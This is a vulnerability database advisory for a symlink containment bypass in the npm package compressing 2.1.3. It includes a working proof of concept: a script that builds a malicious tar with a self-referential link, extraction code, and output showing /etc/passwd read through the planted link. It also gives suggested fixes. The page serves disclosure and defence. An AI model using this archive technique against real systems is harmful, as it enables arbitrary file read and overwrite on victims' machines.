
Cloud Vulnerability DB
A community-led vulnerabilities database
The containment check in lib/utils.js (around line 277, isRealPathSafe) evaluates a symlink entry's target against the entry's textual path. A single archive can first create sub/d -> .. (accepted, since its target is the destination itself) and then a symlink whose textual path goes through that link several times, for example sub/d/sub/d/sub/d/sub/d/x. Textually that entry sits 8 levels below the destination, so a target of ../../../../../../../../etc/passwd looks contained. On disk sub/d resolves back to the destination, so x is created at the destination root and points to /etc/passwd. Unlike GHSA-4c3q-x735-j3r5 this needs no pre-existing link: one archive does it.
compressing 2.1.3 (latest), tar.uncompress (the zip path shares the helper; tar was tested).
node 22, Docker with --network none:
#!/bin/sh
# PoC: compressing@2.1.3 symlink containment bypass via self-referential symlink (single archive, no pre-existing state).
# Run on acer (docker, install with network, PoC with --network none):
# mkdir -p /tmp/verify-v3/c && cd /tmp/verify-v3/c && cp <this file> .
# docker run --rm -v $PWD:/w -w /w node:22 sh -c 'npm i compressing@2.1.3 --silent'
# docker run --rm --network none -v $PWD:/w -w /w node:22 sh poc-compressing.sh
cat > mk.py <<'PY'
import tarfile, io, sys
def sym(t,name,link):
i=tarfile.TarInfo(name); i.type=tarfile.SYMTYPE; i.linkname=link; t.addfile(i)
def d(t,name):
i=tarfile.TarInfo(name); i.type=tarfile.DIRTYPE; i.mode=0o755; t.addfile(i)
N='sub/d/'*4+'x' # textual depth 8 below dest, real depth 0 (sub/d -> '..' == dest)
for out,up in (('control.tar',9),('attack.tar',8)): # control: textual target escapes dest -> must be rejected
t=tarfile.open(out,'w')
d(t,'sub'); sym(t,'sub/d','..') # accepted: target == dest
sym(t,N,'../'*up+'etc/passwd')
t.close()
PY
python3 -I mk.py
cat > run.js <<'JS'
const c=require('compressing'),fs=require('fs'),path=require('path');
(async()=>{
for (const t of ['control','attack']) {
const dest='/tmp/ex-'+t; fs.rmSync(dest,{recursive:true,force:true});
await c.tar.uncompress(t+'.tar',dest);
const x=path.join(dest,'x');
let l; try{l=fs.readlinkSync(x)}catch(e){l='(none)'}
console.log(`[${t}] extracted entries:`,fs.readdirSync(dest),' x -> ',l,
' realpath(x)=', (()=>{try{return fs.realpathSync(x)}catch(e){return 'ERR '+e.code}})());
if (t==='attack') console.log('read through planted link:', fs.readFileSync(x,'utf8').split('\n')[0]);
}
})();
JS
node run.js[control] extracted entries: [ 'sub' ] x -> (none) realpath(x)= ERR ENOENT
[compressing] Skipping symlink "sub/d/sub/d/sub/d/sub/d/x": target "/tmp/etc/passwd" escapes extraction directory
[attack] extracted entries: [ 'sub', 'x' ] x -> ../../../../../../../../etc/passwd realpath(x)= /etc/passwd
read through planted link: root:x:0:0:root:/root:/bin/bashThe guard rejects the textually escaping link (control), but the attack archive plants x -> /etc/passwd in the extraction directory.
Extracting an attacker-supplied tar plants a symlink that points anywhere on the filesystem. Anything that later reads, serves, copies or writes through the extracted tree follows it, giving arbitrary file read, and file overwrite where a later step writes through the link. Same impact class as GHSA-4c3q-x735-j3r5.
Resolve the symlink's own parent directory with realpath (after the earlier entries have been created) and check the target against that real location, or refuse symlink entries whose path passes through an existing symlink, or refuse symlink targets containing .. altogether.
Found with AploSec.
Reported by Zachariah Mithani (zachariah@aplosai.com).
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."